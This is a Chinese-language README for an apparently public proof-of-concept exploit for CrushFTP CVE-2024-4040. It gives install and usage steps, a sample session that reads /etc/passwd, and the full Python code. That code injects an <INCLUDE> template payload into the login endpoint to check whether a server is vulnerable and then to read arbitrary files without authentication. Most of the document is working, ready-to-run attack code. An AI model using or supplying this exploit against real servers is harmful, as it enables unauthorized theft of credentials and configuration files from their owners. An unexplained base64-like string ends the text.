CrushFTP CVE-2024-4040 漏洞利用与检测工具
本项目提供了一个概念验证(PoC)漏洞利用脚本,用于检测和利用 CrushFTP 服务器中的 CVE-2024-4040 漏洞。该漏洞是一种服务端模板注入(SSTI),允许未经身份验证的远程攻击者读取文件系统上 VFS 沙箱之外的任意文件,绕过认证获取管理权限,甚至实现远程代码执行。
功能特性
- 漏洞检测:快速判断目标 CrushFTP 服务器是否存在 CVE-2024-4040 漏洞。
- 任意文件读取:成功利用漏洞后,可读取服务器上的任意敏感文件(如配置文件、密码文件等)。
- 交互式利用:提供用户友好的命令行交互,选择是否继续利用及指定要读取的文件路径。
- 支持 HTTPS:自动禁用不安全请求警告,适用于 HTTPS 环境。
- 命令行参数:通过
-u和-p参数灵活指定目标 URL 与端口。
安装指南
系统要求
- Python 3.6 及以上版本
requests库
安装步骤
- 克隆仓库或直接下载
exploit.py脚本:
git clone https://github.com/qife/CVE-2024-4040-CrushFTP.git
cd CVE-2024-4040-CrushFTP
- 安装 Python 依赖:
pip install requests
- (可选)验证 Python 版本:
python3 --version
使用说明
基础用法
python3 exploit.py -u <目标URL> -p <目标端口>
示例
检测并利用 http://127.0.0.1:8080 上的 CrushFTP 服务:
python3 exploit.py -u http://127.0.0.1 -p 8080
典型交互流程
- 脚本首先显示 ASCII 艺术横幅。
- 自动发送检测请求,判断目标是否存在漏洞。
- 如果存在漏洞,提示用户是否继续利用。
- 输入
Y或Yes后,按提示输入要读取的文件路径(区分大小写)。 - 脚本读取并显示文件内容。
_ _ _ _ _ ___ _
| || |__ _ __| |__ | |_| |_ ___ | _ \ |__ _ _ _ ___| |_
| __ / _` / _| / / | _| ' \/ -_) | _/ / _` | ' \/ -_) _|
|_||_\__,_\__|_\_\ \__|_||_\___| |_| |_\__,_|_||_\___|\__|
[+] Checking if the target is vulnerable..
Target is Vulnerable!
Do you want to exploit this? (Y)es or (N)o: y
[+] File to be read from target(Case Sentitive): /etc/passwd
[文件内容输出...]
API 概览
scan(targetUrl, targetPort)
检测目标是否存在漏洞,并根据用户选择调用 exploit()。
exploit(loginUrl, fileToRead, cookies)
执行任意文件读取,返回并打印目标文件内容。
核心代码
漏洞检测与利用主逻辑
def scan(targetUrl, targetPort):
loginUrl = targetUrl + ":" + targetPort + "/WebInterface/login.html"
# 获取初始认证令牌(currentAuth)
r = requests.post(loginUrl)
cookies = r.cookies
# 构造恶意数据包,检测 groups.XML 是否包含 <groups 字符串
data = {
"command": "exists",
"paths": r"<INCLUDE>users/MainUsers/groups.XML</INCLUDE>",
"c2f": cookies['currentAuth']
}
print("[+] Checking if the target is vulnerable..")
r = requests.post(loginUrl, data=data, cookies=cookies)
if "<groups" in r.text:
print("Target is Vulnerable!")
getUserChoice = input("Do you want to exploit this? (Y)es or (N)o: ")
if getUserChoice.lower() in ["y", "yes"]:
while True:
try:
fileToRead = input("[+] File to be read from target(Case Sentitive): ")
exploit(loginUrl, fileToRead, cookies)
except KeyboardInterrupt:
sys.exit("\nKeyboardInterrupt caught. Exiting...")
else:
sys.exit("Exiting..")
else:
print("Target might not be vulnerable...")
任意文件读取实现
def exploit(loginUrl, fileToRead, cookies):
# 利用 INCLUDE 指令实现路径遍历,读取任意文件
data = {
"command": "exists",
"paths": f"<INCLUDE>{fileToRead}</INCLUDE>",
"c2f": cookies['currentAuth']
}
r = requests.post(loginUrl, data=data, cookies=cookies)
print(r.text)
命令行入口与参数解析
def main():
parser = argparse.ArgumentParser(description="CVE-2024-4040")
parser.add_argument("-u", '--targetUrl', required=True, help="The target URL")
parser.add_argument("-p", '--targetPort', required=True, help="The target Port")
args = parser.parse_args()
try:
ascii()
return(scan(args.targetUrl, args.targetPort))
except Exception:
sys.exit("Some error occured..")
if __name__ == "__main__":
main()
禁用 HTTPS 警告与艺术横幅
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def ascii():
art = print(""" _ _ _ _ _ ___ _
| || |__ _ __| |__ | |_| |_ ___ | _ \ |__ _ _ _ ___| |_
| __ / _` / _| / / | _| ' \/ -_) | _/ / _` | ' \/ -_) _|
|_||_\__,_\__|_\_\ \__|_||_\___| |_| |_\__,_|_||_\___|\__|
""")
return art
6HFtX5dABrKlqXeO5PUv/4JwmvF4WmorL/aD7WfVsN1SWDAIQL8HLsbYyfdRHy6N